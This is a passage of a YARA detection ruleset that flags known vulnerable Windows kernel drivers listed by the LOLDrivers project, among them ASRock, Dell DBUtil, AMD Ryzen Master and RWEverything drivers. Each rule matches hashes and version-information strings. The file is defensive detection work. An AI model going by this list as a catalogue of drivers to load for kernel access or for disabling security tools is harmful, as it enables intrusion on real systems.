		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Asrockincorporation_Asrdrvsys_Asrockiodriver_3943
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrDrv106.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
		hash = "950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9"
		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
		hash = "6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7"
		hash = "ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c"
		hash = "f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b"
		hash = "a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc"
		date = "2023-06-14"
		score = 40
		id = "b35951c3-d0df-5a4d-8c81-333adee6310e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Hpdevelopmentcompany_Etdsuppsys_Hpetdidriverdll_F744
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - etdsupp.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
		date = "2023-06-14"
		score = 40
		id = "cfc5dca9-7ccc-590e-a79e-07f13cbbb080"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004500540044006900200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065007400640073007500700070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048005000200045005400440069002000440072006900760065007200200044004c004c }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065007400640073007500700070002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200031003900390031002d00320030003200320020004800650077006c006500740074002d005000610063006b00610072006400200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079002c0020004c002e0050002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_1F81
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1f8168036d636aad1680dd0f577ef9532dbb2dad3591d63e752b0ba3ee6fd501"
		date = "2023-06-14"
		score = 40
		id = "9610cbd7-8521-54ea-a4db-c6d26048fb4b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100360020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Phoenixtechnologies_Agentsys_Driveragent_4045
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Agent64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
		hash = "8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f"
		hash = "6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa"
		hash = "b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414"
		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
		date = "2023-06-14"
		score = 40
		id = "41ccdc0b-ec41-51b3-9039-bf5206f9a79f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004400720069007600650072004100670065006e0074002000440069007200650063007400200049002f004f00200066006f0072002000360034002d006200690074002000570069006e0064006f00770073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100670065006e007400360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004400720069007600650072004100670065006e0074 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100670065006e007400360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0045006e0054006500630068002000540061006900770061006e002c00200031003900390037002d0032003000300039 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_D0E2
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d0e25b879d830e4f867b09d6540a664b6f88bad353cd14494c33b31a8091f605"
		date = "2023-06-14"
		score = 40
		id = "1ee0136e-73bc-5b88-ae0b-74f3f53fe93f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_904E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NICM.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "904e0f7d485a98e8497d5ec6dd6e6e1cf0b8d8e067fb64a9e09790af3c8c9d5a"
		hash = "cf3180f5308af002ac5d6fd5b75d1340878c375f0aebc3157e3bcad6322b7190"
		date = "2023-06-14"
		score = 40
		id = "e9506ae9-b5ea-5ed7-a126-1b6070df89d0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_F060
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008"
		date = "2023-06-14"
		score = 40
		id = "b6ebdc92-1ca5-5f13-beef-d6adf037e732"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Rweverything_Rwdrvsys_Rweverythingreadwritedriver_2A65
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrIbDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a"
		hash = "3384f4a892f7aa72c43280ff682d85c8e3936f37a68d978d307a9461149192de"
		hash = "2470fd1b733314c9b0afa19fd39c5d19aa1b36db598b5ebbe93445caa545da5f"
		hash = "47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc"
		hash = "0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb"
		hash = "2bf29a2df52110ed463d51376562afceac0e80fbb1033284cf50edd86c406b14"
		date = "2023-06-14"
		score = 40
		id = "f98969ca-e570-5f95-93d8-5b73fc3221fd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002000520057002d00450076006500720079007400680069006e0067 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5027
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5027fce41ed60906a0e76b97c95c2a5a83d57a2d1cd42de232a21f26c0d58e48"
		date = "2023-06-14"
		score = 40
		id = "e46d3ca0-a605-503d-86ac-67ac7ac8c7cc"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000340037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_19D0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "19d0fc91b70d7a719f7a28b4ad929f114bf1de94a4c7cba5ad821285a4485da0"
		date = "2023-06-14"
		score = 40
		id = "9d4595ab-29a2-5b71-b03b-9730db4eadca"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_7795
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "77955af8a8bcea8998f4046c2f8534f6fb1959c71de049ca2f4298ba47d8f23a"
		date = "2023-06-14"
		score = 40
		id = "28b6dde3-fb27-535d-b948-aafb2b95e1f4"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003200200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_9B1A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9b1ac756e35f795dd91adbc841e78db23cb7165280f8d4a01df663128b66d194"
		date = "2023-06-14"
		score = 40
		id = "9dd62c3a-8f3c-5df0-a6a2-fcaa72c4ed16"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltsys_Pancafemanager_7E01
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFlt.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7"
		date = "2023-06-14"
		score = 40
		id = "1d9363a1-e32e-5989-8777-6e530efa6a55"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Lenovogrouplimitedr_Lenovodiagnosticsdriversys_Lenovodiagnostics_F05B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LenovoDiagnosticsDriver.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe"
		date = "2023-06-14"
		score = 40
		id = "791da32a-272c-5bde-9722-cc4c68321ad7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073002000440072006900760065007200200066006f0072002000570069006e0064006f0077007300200031003000200061006e00640020006c0061007400650072002e }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c0065006e006f0076006f002000470072006f007500700020004c0069006d00690074006500640020002800520029 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000320030003200310020004c0065006e006f0076006f002000470072006f007500700020004c0069006d0069007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Dell_Dbutil_71FE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DBUtilDrv2.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009"
		date = "2023-06-14"
		score = 40
		id = "172e8e13-e1ff-5caf-9759-d607ef072215"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440042005500740069006c }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440065006c006c }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0037002e0030002e0030 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440042005500740069006c }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000320031002000440065006c006c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e0020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Atszio_Atsziodriver_673B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "673bcec3d53fab5efd6e3bac25ac9d6cc51f6bbdf8336e38aade2713dc1ae11b"
		hash = "31d8fc6f5fb837d5eb29db828d13ba8ee11867d86a90b2c2483a578e1d0ec43a"
		date = "2023-06-14"
		score = 40
		id = "bcd5bc05-5e71-5491-be7d-94cdbebddd9f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asus_Asmmapsys_Atkgenericfunctionservice_025E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - asmmap64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4"
		date = "2023-06-14"
		score = 40
		id = "68572e19-5b92-57fb-b301-0224e00139cd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0065006d006f007200790020006d0061007000700069006e00670020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005300550053 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00610073006d006d00610070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004b002000470065006e0065007200690063002000460075006e006300740069006f006e00200053006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00610073006d006d00610070002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_FB81
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "fb81b5f8bf69637dbdf050181499088a67d24577587bc520de94b5ee8996240f"
		hash = "76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22"
		hash = "2e665962c827ce0adbd29fe6bcf09bbb1d7a7022075d162ff9b65d0af9794ac0"
		date = "2023-06-14"
		score = 40
